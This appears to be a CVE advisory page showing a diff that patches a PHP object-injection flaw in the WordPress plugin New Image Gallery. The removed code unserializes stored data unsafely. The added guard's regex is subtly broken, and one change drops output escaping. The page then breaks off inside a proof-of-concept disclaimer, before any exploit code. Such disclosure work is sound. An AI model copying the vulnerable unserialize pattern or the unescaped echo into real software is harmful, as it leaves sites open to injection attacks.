+													echo 'selected=selected';
+												}
+												?>>
 								<?php esc_html_e('Bootstrap Light Box', 'new-image-gallery'); ?>
 							</option>
 							<option value="4" <?php
-							if ($light_box == 4) {
-								echo 'selected=selected';
-							}
-							?>>
+												if ($light_box == 4) {
+													echo 'selected=selected';
+												}
+												?>>
 								<?php esc_html_e('LD Light Box', 'new-image-gallery'); ?>
 							</option>
 						</select>
@@ -856,8 +851,9 @@
 				</div>

 				<div class="">
-					<h1><strong>Offer:</strong> Upgrade To Premium Just In Half Price <strike>$15</strike>
-						<strong>$12</strong></h1>
+					<h1><strong>Offer:</strong> Upgrade To Premium At Discounted Price <strike>$15</strike>
+						<strong>$12</strong>
+					</h1>
 					<br>
 					<a href="https://awplife.com/demo/image-gallery-free-wordpress-plugin/" target="_blank"
 						class="button button-primary button-hero load-customize hide-if-no-customize">Check Free Plugin
@@ -868,9 +864,9 @@
 					<a href="https://awplife.com/wordpress-plugins/image-gallery-wordpress-plugin/" target="_blank"
 						class="button button-primary button-hero load-customize hide-if-no-customize">Premium Version
 						Details</a>
-					<a href="https://awplife.com/demo/image-gallery-premium-admin-demo/" target="_blank"
-						class="button button-primary button-hero load-customize hide-if-no-customize">Try Pro
-						Version</a>
+					<a href="https://awplife.com/account/signup/image-gallery-premium" target="_blank"
+						class="button button-primary button-hero load-customize hide-if-no-customize"
+						style="margin-bottom: 10px;"><?php esc_html_e('Buy Premium Version', 'new-image-gallery'); ?></a>
 				</div>

 			</div>
@@ -887,8 +883,6 @@
 <!-- Return to Top -->

 <script>
-
-
 	var effect_type = jQuery('input[name="image_hover_effect_type"]:checked').val();
 	//alert(effect_type);
 	if (effect_type == "no") {
@@ -899,8 +893,8 @@
 	}

 	//on change effect
-	jQuery(document).ready(function () {
-		jQuery('input[name="image_hover_effect_type"]').change(function () {
+	jQuery(document).ready(function() {
+		jQuery('input[name="image_hover_effect_type"]').change(function() {
 			var effect_type = jQuery('input[name="image_hover_effect_type"]:checked').val();
 			if (effect_type == "no") {
 				jQuery('.he_four').hide();
@@ -912,7 +906,7 @@
 	});

 	// tab
-	jQuery("div.bhoechie-tab-menu>div.list-group>a").click(function (e) {
+	jQuery("div.bhoechie-tab-menu>div.list-group>a").click(function(e) {
 		e.preventDefault();
 		jQuery(this).siblings('a.active').removeClass("active");
 		jQuery(this).addClass("active");
@@ -920,5 +914,4 @@
 		jQuery("div.bhoechie-tab>div.bhoechie-tab-content").removeClass("active");
 		jQuery("div.bhoechie-tab>div.bhoechie-tab-content").eq(index).addClass("active");
 	});
-
 </script>
 No newline at end of file
--- a/new-image-gallery/include/ig-ld-lightbox.php
+++ b/new-image-gallery/include/ig-ld-lightbox.php
@@ -1,5 +1,5 @@
 <?php
-if ( ! defined( 'ABSPATH' ) ) {
+if (! defined('ABSPATH')) {
 	exit; // Exit if accessed directly
 }
 /**
@@ -7,125 +7,134 @@
  */


-wp_enqueue_script( 'awl-ld-lightbox-js' );
-wp_enqueue_style( 'awl-ld-lightbox-css' );
+wp_enqueue_script('awl-ld-lightbox-js');
+wp_enqueue_style('awl-ld-lightbox-css');

 $allslides = array(
 	'p'         => $image_gallery_id,
 	'post_type' => 'image_gallery',
 	'orderby'   => 'ASC',
 );
-$loop      = new WP_Query( $allslides );
-while ( $loop->have_posts() ) :
+$loop      = new WP_Query($allslides);
+while ($loop->have_posts()) :
 	$loop->the_post();

 	$post_id       = esc_attr(get_the_ID());
-	// Check if the data is serialized
-	if (is_ig_serialized($decodedData)) {
-
-		// The data is serialized, so unserialize it
-		$gallery_settings = unserialize($decodedData);
+	// Retrieve the base64 encoded data
+	$encodedData = get_post_meta($post_id, 'awl_ig_settings_' . $post_id, true);
+	// Decode the base64 encoded data
+	$decodedData = base64_decode($encodedData);
+	// Check if the data is serialized safely
+	$gallery_settings = awl_ig_safe_unserialize($decodedData);
+	if ($gallery_settings !== false) {
+
 		// Optionally, convert the unserialized data to JSON and save it back in base64 encoding for future access
 		// This step is optional but recommended to transition your data format
-
+
 		$jsonEncodedData = json_encode($gallery_settings);
 		update_post_meta($image_gallery_id, 'awl_ig_settings_' . $image_gallery_id, $jsonEncodedData);
-
+
 		// Now, to use the newly saved format, fetch and decode again
 		$encodedData = get_post_meta($image_gallery_id, 'awl_ig_settings_' . $image_gallery_id, true);
 		$gallery_settings = json_decode(($encodedData), true);
-
 	} else {
-
+
 		// Assume the data is in JSON format
-		 $jsonData = get_post_meta($image_gallery_id, 'awl_ig_settings_' . $image_gallery_id, true);
+		$jsonData = get_post_meta($image_gallery_id, 'awl_ig_settings_' . $image_gallery_id, true);
 		// Decode the JSON string into an associative array
 		$gallery_settings = json_decode($jsonData, true); // Ensure true is passed to get an associative array
 	}
-	count( $gallery_settings['slide-ids'] );
+	count($gallery_settings['slide-ids']);
 	// start the image gallery contents
-	?>
-	<div id="image_gallery_<?php echo esc_attr( $image_gallery_id ); ?>" class="row all-images-<?php echo esc_attr( $image_gallery_id ); ?>">
+?>
+	<div id="image_gallery_<?php echo esc_attr($image_gallery_id); ?>" class="row all-images-<?php echo esc_attr($image_gallery_id); ?>">
 		<?php
-		if ( isset( $gallery_settings['slide-ids'] ) && count( $gallery_settings['slide-ids'] ) > 0 ) {
+		if (isset($gallery_settings['slide-ids']) && count($gallery_settings['slide-ids']) > 0) {
 			$count = 0;
-			if ( $thumbnail_order == 'DESC' ) {
-				$gallery_settings['slide-ids'] = array_reverse( $gallery_settings['slide-ids'] );
+			if ($thumbnail_order == 'DESC') {
+				$gallery_settings['slide-ids'] = array_reverse($gallery_settings['slide-ids']);
 			}
-			if ( $thumbnail_order == 'RANDOM' ) {
-				shuffle( $gallery_settings['slide-ids'] );
+			if ($thumbnail_order == 'RANDOM') {
+				shuffle($gallery_settings['slide-ids']);
 			}

-			foreach ( $gallery_settings['slide-ids'] as $attachment_id ) {
-				$thumb              = wp_get_attachment_image_src( $attachment_id, 'thumb', true );
-				$thumbnail          = wp_get_attachment_image_src( $attachment_id, 'thumbnail', true );
-				$medium             = wp_get_attachment_image_src( $attachment_id, 'medium', true );
-				$large              = wp_get_attachment_image_src( $attachment_id, 'large', true );
-				$full               = wp_get_attachment_image_src( $attachment_id, 'full', true );
-				$postthumbnail      = wp_get_attachment_image_src( $attachment_id, 'post-thumbnail', true );
-				$attachment_details = get_post( $attachment_id );
-				$href               = get_permalink( $attachment_details->ID );
+			foreach ($gallery_settings['slide-ids'] as $attachment_id) {
+				$thumb              = wp_get_attachment_image_src($attachment_id, 'thumb', true);
+				$thumbnail          = wp_get_attachment_image_src($attachment_id, 'thumbnail', true);
+				$medium             = wp_get_attachment_image_src($attachment_id, 'medium', true);
+				$large              = wp_get_attachment_image_src($attachment_id, 'large', true);
+				$full               = wp_get_attachment_image_src($attachment_id, 'full', true);
+				$postthumbnail      = wp_get_attachment_image_src($attachment_id, 'post-thumbnail', true);
+				$attachment_details = get_post($attachment_id);
+				$href               = get_permalink($attachment_details->ID);
 				$src                = $attachment_details->guid;
 				$title              = $attachment_details->post_title;
 				$description        = $attachment_details->post_content;
-
-				if ( !empty( $gallery_settings['slide-alt'][ $count ] ) ) {
-					$image_alt      = $gallery_settings['slide-alt'][ $count ];
+
+				if (isset($gallery_settings['slide-alt'][$count]) && !empty($gallery_settings['slide-alt'][$count])) {
+					$image_alt      = $gallery_settings['slide-alt'][$count];
 				} else {
-					$image_alt = $title;
+					$image_alt = get_post_meta($attachment_id, '_wp_attachment_image_alt', true);
+					if (empty($image_alt)) {
+						$image_alt = $title;
+					}
 				}
-
+
 				// set thumbnail size
-				if ( $gal_thumb_size == 'thumbnail' ) {
-					$thumbnail_url = $thumbnail[0]; }
-				if ( $gal_thumb_size == 'medium' ) {
-					$thumbnail_url = $medium[0]; }
-				if ( $gal_thumb_size == 'large' ) {
-					$thumbnail_url = $large[0]; }
-				if ( $gal_thumb_size == 'full' ) {
-					$thumbnail_url = $full[0]; }
-				?>
-					<div class="single-image-<?php echo esc_attr( $image_gallery_id ); ?> <?php echo esc_attr( $col_large_desktops ); ?> <?php echo esc_attr( $col_desktops ); ?> <?php echo esc_attr( $col_tablets ); ?> <?php echo esc_attr( $col_phones ); ?>">
-						<a href="<?php echo esc_url( $full[0] ); ?>" data-lightbox="lightbox-<?php echo esc_attr( $image_gallery_id ); ?>" data-gallery="gallery-<?php echo esc_attr( $image_gallery_id ); ?>" data-title="<?php echo esc_html( $title ); ?>">
-							<img class="thumbnail <?php echo esc_attr( $image_hover_effect ); ?>" src="<?php echo esc_url( $thumbnail_url ); ?>" alt="<?php echo esc_html( $image_alt ); ?>" title="<?php echo esc_html( $title ); ?>">
-							<?php if ( $img_title == 0 ) { ?>
-							<span class="item-title"><?php echo esc_html( $title ); ?></span>
-							<?php } ?>
-						</a>
-					</div>
-					<?php
-					$count++;
-			}// end of attachment foreach
+				if ($gal_thumb_size == 'thumbnail') {
+					$thumbnail_url = $thumbnail[0];
+				}
+				if ($gal_thumb_size == 'medium') {
+					$thumbnail_url = $medium[0];
+				}
+				if ($gal_thumb_size == 'large') {
+					$thumbnail_url = $large[0];
+				}
+				if ($gal_thumb_size == 'full') {
+					$thumbnail_url = $full[0];
+				}
+		?>
+				<div class="single-image-<?php echo esc_attr($image_gallery_id); ?> <?php echo esc_attr($col_large_desktops); ?> <?php echo esc_attr($col_desktops); ?> <?php echo esc_attr($col_tablets); ?> <?php echo esc_attr($col_phones); ?>">
+					<a href="<?php echo esc_url($full[0]); ?>" data-lightbox="lightbox-<?php echo esc_attr($image_gallery_id); ?>" data-gallery="gallery-<?php echo esc_attr($image_gallery_id); ?>" data-title="<?php echo esc_html($title); ?>">
+						<img class="thumbnail <?php echo esc_attr($image_hover_effect); ?>" src="<?php echo esc_url($thumbnail_url); ?>" alt="<?php echo esc_html($image_alt); ?>">
+						<?php if ($img_title == 0) { ?>
+							<span class="item-title"><?php echo esc_html($title); ?></span>
+						<?php } ?>
+					</a>
+				</div>
+		<?php
+				$count++;
+			} // end of attachment foreach
 		} else {
-			esc_html_e( 'Sorry! No image gallery found.', 'new-image-gallery' );
-			echo ": [IMG-Gal id=" . esc_attr( $post_id ) . "]";
+			esc_html_e('Sorry! No image gallery found.', 'new-image-gallery');
+			echo ": [IMG-Gal id=" . esc_attr($post_id) . "]";
 		} // end of if else of images available check into gallery
 		?>
 	</div>
-	<?php
+<?php
 endwhile;
 wp_reset_query();
 ?>
 <script>
-jQuery(document).ready(function () {
-	// Method 1 - Initialize Isotope, then trigger layout after each image loads.
-	var $grid = jQuery('.all-images-<?php echo esc_js( $image_gallery_id ); ?>').isotope({
-		// options...
-		itemSelector: '.single-image-<?php echo esc_js( $image_gallery_id ); ?>',
-	});
-	// layout Isotope after each image loads
-	$grid.imagesLoaded().progress( function() {
-		$grid.isotope('layout');
-	});
-
-
-	lightbox.option({
-	  'wrapAround': <?php echo esc_js( $igp_loop_st ); ?>,
-	})
-
-	jQuery(document).on('click', '[data-toggle="lightbox-<?php echo esc_js( $image_gallery_id ); ?>"]', function(event) {
-		event.preventDefault();
-		jQuery(this).ekkoLightbox();
+	jQuery(document).ready(function() {
+		// Method 1 - Initialize Isotope, then trigger layout after each image loads.
+		var $grid = jQuery('.all-images-<?php echo esc_js($image_gallery_id); ?>').isotope({
+			// options...
+			itemSelector: '.single-image-<?php echo esc_js($image_gallery_id); ?>',
+		});
+		// layout Isotope after each image loads
+		$grid.imagesLoaded().progress(function() {
+			$grid.isotope('layout');
+		});
+
+
+		lightbox.option({
+			'wrapAround': <?php echo esc_js($igp_loop_st); ?>,
+		})
+
+		jQuery(document).on('click', '[data-toggle="lightbox-<?php echo esc_js($image_gallery_id); ?>"]', function(event) {
+			event.preventDefault();
+			jQuery(this).ekkoLightbox();
+		});
 	});
-});
-</script>
+</script>
 No newline at end of file
--- a/new-image-gallery/include/nig-bootstrap-lightbox.php
+++ b/new-image-gallery/include/nig-bootstrap-lightbox.php
@@ -12,11 +12,14 @@
 	$loop->the_post();

 	$post_id = esc_attr(get_the_ID());
-	// Check if the data is serialized
-	if (is_ig_serialized($decodedData)) {
+	// Retrieve the base64 encoded data
+	$encodedData = get_post_meta($post_id, 'awl_ig_settings_' . $post_id, true);
+	// Decode the base64 encoded data
+	$decodedData = base64_decode($encodedData);
+	// Check if the data is serialized safely
+	$gallery_settings = awl_ig_safe_unserialize($decodedData);
+	if ($gallery_settings !== false) {

-		// The data is serialized, so unserialize it
-		$gallery_settings = unserialize($decodedData);
 		// Optionally, convert the unserialized data to JSON and save it back in base64 encoding for future access
 		// This step is optional but recommended to transition your data format

@@ -26,7 +29,6 @@
 		// Now, to use the newly saved format, fetch and decode again
 		$encodedData = get_post_meta($image_gallery_id, 'awl_ig_settings_' . $image_gallery_id, true);
 		$gallery_settings = json_decode(($encodedData), true);
-
 	} else {

 		// Assume the data is in JSON format
@@ -36,7 +38,7 @@
 	}
 	count($gallery_settings['slide-ids']);
 	// start the image gallery contents
-	?>
+?>
 	<div id="image_gallery_<?php echo esc_attr($image_gallery_id); ?>"
 		class="row all-images-<?php echo esc_attr($image_gallery_id); ?>">
 		<?php
@@ -62,10 +64,13 @@
 				$title = $attachment_details->post_title;
 				$description = $attachment_details->post_content;

-				if (!empty($gallery_settings['slide-alt'][$count])) {
+				if (isset($gallery_settings['slide-alt'][$count]) && !empty($gallery_settings['slide-alt'][$count])) {
 					$image_alt = $gallery_settings['slide-alt'][$count];
 				} else {
-					$image_alt = $title;
+					$image_alt = get_post_meta($attachment_id, '_wp_attachment_image_alt', true);
+					if (empty($image_alt)) {
+						$image_alt = $title;
+					}
 				}

 				// set thumbnail size
@@ -81,15 +86,14 @@
 				if ($gal_thumb_size == 'full') {
 					$thumbnail_url = $full[0];
 				}
-				?>
+		?>
 				<div
 					class="single-image-<?php echo esc_attr($image_gallery_id); ?> <?php echo esc_attr($col_large_desktops); ?> <?php echo esc_attr($col_desktops); ?> <?php echo esc_attr($col_tablets); ?> <?php echo esc_attr($col_phones); ?>">
 					<a href="<?php echo esc_url($full[0]); ?>" data-toggle="lightbox-<?php echo esc_attr($image_gallery_id); ?>"
 						data-gallery="gallery-<?php echo esc_attr($image_gallery_id); ?>"
 						data-title="<?php echo esc_html($title); ?>">
 						<img class="thumbnail <?php echo esc_attr($image_hover_effect); ?>"
-							src="<?php echo esc_url($thumbnail_url); ?>" alt="<?php echo esc_html($image_alt); ?>"
-							alt="<?php echo esc_html($title); ?>">
+							src="<?php echo esc_url($thumbnail_url); ?>" alt="<?php echo esc_html($image_alt); ?>">
 						<?php if ($img_title == 0) { ?>
 							<span class="item-title">
 								<?php echo esc_html($title); ?>
@@ -97,28 +101,28 @@
 						<?php } ?>
 					</a>
 				</div>
-				<?php
+		<?php
 				$count++;
-			}// end of attachment foreach
+			} // end of attachment foreach
 		} else {
 			esc_html_e('Sorry! No image gallery found.', 'new-image-gallery');
 			echo ": [IMG-Gal id=" . esc_attr($post_id) . "]";
 		} // end of if else of images available check into gallery
 		?>
 	</div>
-	<?php
+<?php
 endwhile;
 wp_reset_query();
 ?>
 <script>
-	jQuery(document).ready(function () {
+	jQuery(document).ready(function() {
 		// Method 1 - Initialize Isotope, then trigger layout after each image loads.
 		var $grid = jQuery('.all-images-<?php echo esc_js($image_gallery_id); ?>').isotope({
 			// options...
 			itemSelector: '.single-image-<?php echo esc_js($image_gallery_id); ?>',
 		});
 		// layout Isotope after each image loads
-		$grid.imagesLoaded().progress(function () {
+		$grid.imagesLoaded().progress(function() {
 			$grid.isotope('layout');
 		});

@@ -126,8 +130,8 @@
 			'wrapAround': <?php echo esc_js($igp_loop_st); ?>,
 		})
 	});
-	jQuery(document).ready(function (jQuery) {
-		jQuery(document).on('click', '[data-toggle="lightbox-<?php echo esc_js($image_gallery_id); ?>"]', function (event) {
+	jQuery(document).ready(function(jQuery) {
+		jQuery(document).on('click', '[data-toggle="lightbox-<?php echo esc_js($image_gallery_id); ?>"]', function(event) {
 			event.preventDefault();
 			jQuery(this).ekkoLightbox();
 		});
--- a/new-image-gallery/include/nig-no-lightbox.php
+++ b/new-image-gallery/include/nig-no-lightbox.php
@@ -9,11 +9,14 @@
 	$loop->the_post();

 	$post_id = esc_attr(get_the_ID());
-	// Check if the data is serialized
-	if (is_ig_serialized($decodedData)) {
+	// Retrieve the base64 encoded data
+	$encodedData = get_post_meta($post_id, 'awl_ig_settings_' . $post_id, true);
+	// Decode the base64 encoded data
+	$decodedData = base64_decode($encodedData);
+	// Check if the data is serialized safely
+	$gallery_settings = awl_ig_safe_unserialize($decodedData);
+	if ($gallery_settings !== false) {

-		// The data is serialized, so unserialize it
-		$gallery_settings = unserialize($decodedData);
 		// Optionally, convert the unserialized data to JSON and save it back in base64 encoding for future access
 		// This step is optional but recommended to transition your data format

@@ -23,7 +26,6 @@
 		// Now, to use the newly saved format, fetch and decode again
 		$encodedData = get_post_meta($image_gallery_id, 'awl_ig_settings_' . $image_gallery_id, true);
 		$gallery_settings = json_decode(($encodedData), true);
-
 	} else {

 		// Assume the data is in JSON format
@@ -33,7 +35,7 @@
 	}
 	count($gallery_settings['slide-ids']);
 	// start the image gallery contents
-	?>
+?>
 	<div id="image_gallery_<?php echo esc_attr($image_gallery_id); ?>" class="row all-images">
 		<?php
 		if (isset($gallery_settings['slide-ids']) && count($gallery_settings['slide-ids']) > 0) {
@@ -58,10 +60,13 @@
 				$title = $attachment_details->post_title;
 				$description = $attachment_details->post_content;

-				if (!empty($gallery_settings['slide-alt'][$count])) {
+				if (isset($gallery_settings['slide-alt'][$count]) && !empty($gallery_settings['slide-alt'][$count])) {
 					$image_alt = $gallery_settings['slide-alt'][$count];
 				} else {
-					$image_alt = $title;
+					$image_alt = get_post_meta($attachment_id, '_wp_attachment_image_alt', true);
+					if (empty($image_alt)) {
+						$image_alt = $title;
+					}
 				}

 				// set thumbnail size
@@ -77,40 +82,39 @@
 				if ($gal_thumb_size == 'full') {
 					$thumbnail_url = $full[0];
 				}
-				?>
+		?>
 				<div
 					class="single-image <?php echo esc_attr($col_large_desktops); ?> <?php echo esc_attr($col_desktops); ?> <?php echo esc_attr($col_tablets); ?> <?php echo esc_attr($col_phones); ?>">
 					<img class="thumbnail <?php echo esc_attr($image_hover_effect); ?>"
-						src="<?php echo esc_url($thumbnail_url); ?>" alt="<?php echo esc_html($image_alt); ?>"
-						alt="<?php echo esc_html($title); ?>">
+						src="<?php echo esc_url($thumbnail_url); ?>" alt="<?php echo esc_html($image_alt); ?>">
 					<?php if ($img_title == 0) { ?>
 						<span class="item-title">
 							<?php echo esc_html($title); ?>
 						</span>
 					<?php } ?>
 				</div>
-				<?php
+		<?php
 				$count++;
-			}// end of attachment foreach
+			} // end of attachment foreach
 		} else {
 			esc_html_e('Sorry! No image gallery found.', 'new-image-gallery');
 			echo ": [IMG-Gal id=" . esc_attr($post_id) . "]";
 		} // end of if esle of slides avaialble check into slider
 		?>
 	</div>
-	<?php
+<?php
 endwhile;
 wp_reset_query();
 ?>
 <script>
-	jQuery(document).ready(function () {
+	jQuery(document).ready(function() {
 		// Method 1 - Initialize Isotope, then trigger layout after each image loads.
 		var $grid = jQuery('.all-images').isotope({
 			// options...
 			itemSelector: '.single-image',
 		});
 		// layout Isotope after each image loads
-		$grid.imagesLoaded().progress(function () {
+		$grid.imagesLoaded().progress(function() {
 			$grid.isotope('layout');
 		});

--- a/new-image-gallery/include/shortcode.php
+++ b/new-image-gallery/include/shortcode.php
@@ -1,4 +1,5 @@
 <?php
+
 /**
  * Slider Responsive Premium Shortcode
  *
@@ -9,10 +10,6 @@
  */
 add_shortcode('IMG-Gal', 'awl_image_gallery_shortcode');

-function is_ig_serialized($str) {
-    return ($str == serialize(false) || @unserialize($str) !== false);
-}
-
 function awl_image_gallery_shortcode($post_id)
 {
 	ob_start();
@@ -33,11 +30,10 @@
 	// Decode the base64 encoded data
 	$decodedData = base64_decode($encodedData);

-	// Check if the data is serialized
-	if (is_ig_serialized($decodedData)) {
+	// Check if the data is serialized safely
+	$gallery_settings = awl_ig_safe_unserialize($decodedData);
+	if ($gallery_settings !== false) {

-		// The data is serialized, so unserialize it
-		$gallery_settings = unserialize($decodedData);
 		// Optionally, convert the unserialized data to JSON and save it back in base64 encoding for future access
 		// This step is optional but recommended to transition your data format

@@ -47,7 +43,6 @@
 		// Now, to use the newly saved format, fetch and decode again
 		$encodedData = get_post_meta($image_gallery_id, 'awl_ig_settings_' . $image_gallery_id, true);
 		$gallery_settings = json_decode(($encodedData), true);
-
 	} else {

 		// Assume the data is in JSON format
@@ -129,7 +124,7 @@
 	} else {
 		$slide_alt = '';
 	}
-	?>
+?>
 	<!-- CSS Part Start From Here-->
 	<style>
 		.all-images {
@@ -145,55 +140,9 @@
 			margin-bottom: 20px !important;
 		}

-		<?php if ($no_spacing) { ?>
-			#image_gallery_<?php echo esc_html($image_gallery_id); ?> .col-xs-1,
-			.col-sm-1,
-			.col-md-1,
-			.col-lg-1,
-			.col-xs-2,
-			.col-sm-2,
-			.col-md-2,
-			.col-lg-2,
-			.col-xs-3,
-			.col-sm-3,
-			.col-md-3,
-			.col-lg-3,
-			.col-xs-4,
-			.col-sm-4,
-			.col-md-4,
-			.col-lg-4,
-			.col-xs-5,
-			.col-sm-5,
-			.col-md-5,
-			.col-lg-5,
-			.col-xs-6,
-			.col-sm-6,
-			.col-md-6,
-			.col-lg-6,
-			.col-xs-7,
-			.col-sm-7,
-			.col-md-7,
-			.col-lg-7,
-			.col-xs-8,
-			.col-sm-8,
-			.col-md-8,
-			.col-lg-8,
-			.col-xs-9,
-			.col-sm-9,
-			.col-md-9,
-			.col-lg-9,
-			.col-xs-10,
-			.col-sm-10,
-			.col-md-10,
-			.col-lg-10,
-			.col-xs-11,
-			.col-sm-11,
-			.col-md-11,
-			.col-lg-11,
-			.col-xs-12,
-			.col-sm-12,
-			.col-md-12,
-			.col-lg-12 {
+		<?php
+		if ($no_spacing) { ?>
+			#image_gallery_<?php echo esc_html($image_gallery_id); ?> .single-image-<?php echo esc_html($image_gallery_id); ?> {
 				padding-right: 0px !important;
 				padding-left: 0px !important;
 			}
@@ -204,7 +153,8 @@
 				border: 0px !important;
 			}

-		<?php } ?>
+		<?php
+		} ?>
 		.item-title {
 			background-color: rgba(0, 0, 0, 0.5);
 			bottom: 45px;
@@ -221,7 +171,7 @@

 		<?php echo esc_html($custom_css); ?>
 	</style>
-	<?php
+<?php
 	// load without lightbox gallery output
 	if ($light_box == 0) {
 		require 'nig-no-lightbox.php';
@@ -234,7 +184,7 @@
 	if ($light_box == 4) {
 		require 'ig-ld-lightbox.php';
 	}
-
+
 	wp_reset_query();
 	return ob_get_clean();
 }
--- a/new-image-gallery/new-image-gallery.php
+++ b/new-image-gallery/new-image-gallery.php
@@ -1,10 +1,11 @@
 <?php
+
 /**
 @package New Image Gallery
 Plugin Name: New Image Gallery
 Plugin URI:  http://awplife.com/
 Description: The best image gallery plugin with responsive design multiple columns lightbox preview.
-Version:     1.6.0
+Version:     1.6.1
 Author:      A WP Life
 Author URI:  https://awplife.com/
 Text Domain: new-image-gallery
@@ -25,6 +26,25 @@
 along with New Image Gallery. If not, see https://www.gnu.org/licenses/old-licenses/gpl-2.0.en.html.
  */

+if (!function_exists('awl_ig_safe_unserialize')) {
+	function awl_ig_safe_unserialize($serialized_data)
+	{
+		if (!is_serialized($serialized_data)) {
+			return false;
+		}
+		// Prevent PHP Object Injection: Fail if serialized string contains objects (O:...)
+		if (preg_match('/(^|;)O:d+:/', $serialized_data)) {
+			return false;
+		}
+		// PHP 7.0+ supports allowed_classes
+		if (version_compare(PHP_VERSION, '7.0.0') >= 0) {
+			return @unserialize($serialized_data, array('allowed_classes' => false));
+		} else {
+			return @unserialize($serialized_data);
+		}
+	}
+}
+
 if (!class_exists('New_Image_Gallery')) {

 	class New_Image_Gallery
@@ -42,7 +62,7 @@
 		protected function _constants()
 		{
 			// Plugin Version
-			define('IG_PLUGIN_VER', '1.6.0');
+			define('IG_PLUGIN_VER', '1.6.1');

 			// Plugin Text Domain
 			define('IGP_TXTDM', 'new-image-gallery');
@@ -62,7 +82,6 @@
 			 * @uses    NONCE_KEY     Defined in the WP root config.php
 			 */
 			define('IG_SECURE_KEY', md5(NONCE_KEY));
-
 		} // end of constructor function


@@ -108,7 +127,6 @@
 			add_action('manage_image_gallery_posts_custom_column', array(&$this, 'custom_image_gallery_shodrcode_data'), 10, 2);

 			add_action('wp_enqueue_scripts', array(&$this, 'image_enqueue_scripts_in_header'));
-
 		} // end of hook function

 		public function image_enqueue_scripts_in_header()
@@ -232,7 +250,6 @@
 				'capability_type' => 'page',
 			);
 			register_post_type('image_gallery', $args);
-
 		} // end of post type function

 		/**
@@ -275,6 +292,7 @@
 			</style>
 			<script>
 				jQuery("#igm-copy-code").hide();
+
 				function copyToClipboard(element) {
 					var $temp = jQuery("<input>");
 					jQuery("body").append($temp);
@@ -285,13 +303,13 @@
 					jQuery("#igm-copy-code").fadeIn();
 				}
 			</script>
-			<?php
+		<?php
 		}

 		// meta rate us
 		public function ig_rate_plugin()
 		{
-			?>
+		?>
 			<div style="text-align:center">
 				<p>If you like our plugin then please <b>Rate us</b> on WordPress</p>
 			</div>
@@ -308,7 +326,7 @@
 					class="button button-primary button-large" style="background: #496481; text-shadow: none;"><span
 						class="dashicons dashicons-heart" style="line-height:1.4;"></span> Please Rate Us</a>
 			</div>
-			<?php
+		<?php
 		}

 		public function ig_upload_multiple_images($post)
@@ -317,7 +335,7 @@
 			wp_enqueue_script('awl-ig-uploader.js', IG_PLUGIN_URL . 'assets/js/awl-ig-uploader.js', array('jquery'));
 			wp_enqueue_style('awl-ig-uploader-css', IG_PLUGIN_URL . 'assets/css/awl-ig-uploader.css');
 			wp_enqueue_media();
-			?>
+		?>
 			<div class="row">
 				<!--Add New Image Button-->
 				<div class="file-upload">
@@ -327,7 +345,7 @@
 						<div class="drag-text">
 							<h3>
 								<?php esc_html_e('ADD IMAGES', 'new-image-gallery'); ?>
-								<?php wp_nonce_field( 'igp_add_images', 'igp_add_images_nonce' ); ?>
+								<?php wp_nonce_field('igp_add_images', 'igp_add_images_nonce'); ?>
 							</h3>
 						</div>
 					</div>
@@ -336,7 +354,7 @@
 			<div style="clear:left;"></div>


-			<?php
+		<?php
 			require_once 'include/gallery-settings.php';
 		} // end of upload multiple image

@@ -347,7 +365,7 @@
 			// thumb, thumbnail, medium, large, post-thumbnail
 			$thumbnail = wp_get_attachment_image_src($id, 'medium', true);
 			$attachment = get_post($id); // $id = attachment id
-			?>
+		?>
 			<li class="slide">
 				<img class="new-slide" src="<?php echo esc_url($thumbnail[0]); ?>"
 					alt="<?php echo esc_html(get_the_title($id)); ?>" style="height: 150px; width: 98%; border-radius: 8px;">
@@ -361,14 +379,14 @@
 				<a class="pw-trash-icon" name="remove-slide" id="remove-slide" href="#"><span
 						class="dashicons dashicons-trash"></span></a>
 			</li>
-			<?php
+<?php
 		}

 		public function _ajax_image_gallery()
 		{
 			if (current_user_can('manage_options')) {
 				if (isset($_POST['igp_add_images_nonce']) && wp_verify_nonce($_POST['igp_add_images_nonce'], 'igp_add_images')) {
-					echo esc_attr($this->_ig_ajax_callback_function($_POST['slideId']));
+					echo $this->_ig_ajax_callback_function($_POST['slideId']);
 				} else {
 					print 'Sorry, your nonce did not verify.';
 					exit;
@@ -399,15 +417,16 @@

 						$image_ids = array();
 						$image_titles = array();
+						$image_alt = array();

 						$image_ids_val = isset($_POST['slide-ids']) ? (array) $_POST['slide-ids'] : array();
 						$image_ids_val = array_map('sanitize_text_field', $image_ids_val);

 						foreach ($image_ids_val as $image_id) {

-							$image_ids[] = sanitize_text_field($_POST['slide-ids'][$i]);
-							$image_titles[] = sanitize_text_field($_POST['slide-title'][$i]);
-							$image_alt[] = sanitize_text_field($_POST['slide-alt'][$i]);
+							$image_ids[] = sanitize_text_field(isset($_POST['slide-ids'][$i]) ? $_POST['slide-ids'][$i] : '');
+							$image_titles[] = sanitize_text_field(isset($_POST['slide-title'][$i]) ? $_POST['slide-title'][$i] : '');
+							$image_alt[] = sanitize_text_field(isset($_POST['slide-alt'][$i]) ? $_POST['slide-alt'][$i] : '');

 							$single_image_update = array(
 								'ID' => $image_id,
@@ -465,7 +484,6 @@
 		{
 			require_once 'our-theme/awp-theme.php';
 		}
-
 	} // end of class

 	// register sf scripts
@@ -485,7 +503,6 @@

 		wp_register_style('awl-bootstrap-lightbox-css', plugin_dir_url(__FILE__) . 'include/lightbox/bootstrap/css/ekko-lightbox.css');
 		wp_register_script('awl-bootstrap-lightbox-js', plugin_dir_url(__FILE__) . 'include/lightbox/bootstrap/js/ekko-lightbox.js');
-
 	}
 	add_action('wp_enqueue_scripts', 'awplife_igp_register_scripts');

@@ -523,6 +540,5 @@
 	$ig_gallery_object = new New_Image_Gallery();
 	require_once 'include/shortcode.php';
 	require_once 'class-tgm-plugin-activation.php';
-
 } // end of class exists
 ?>
 No newline at end of file

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
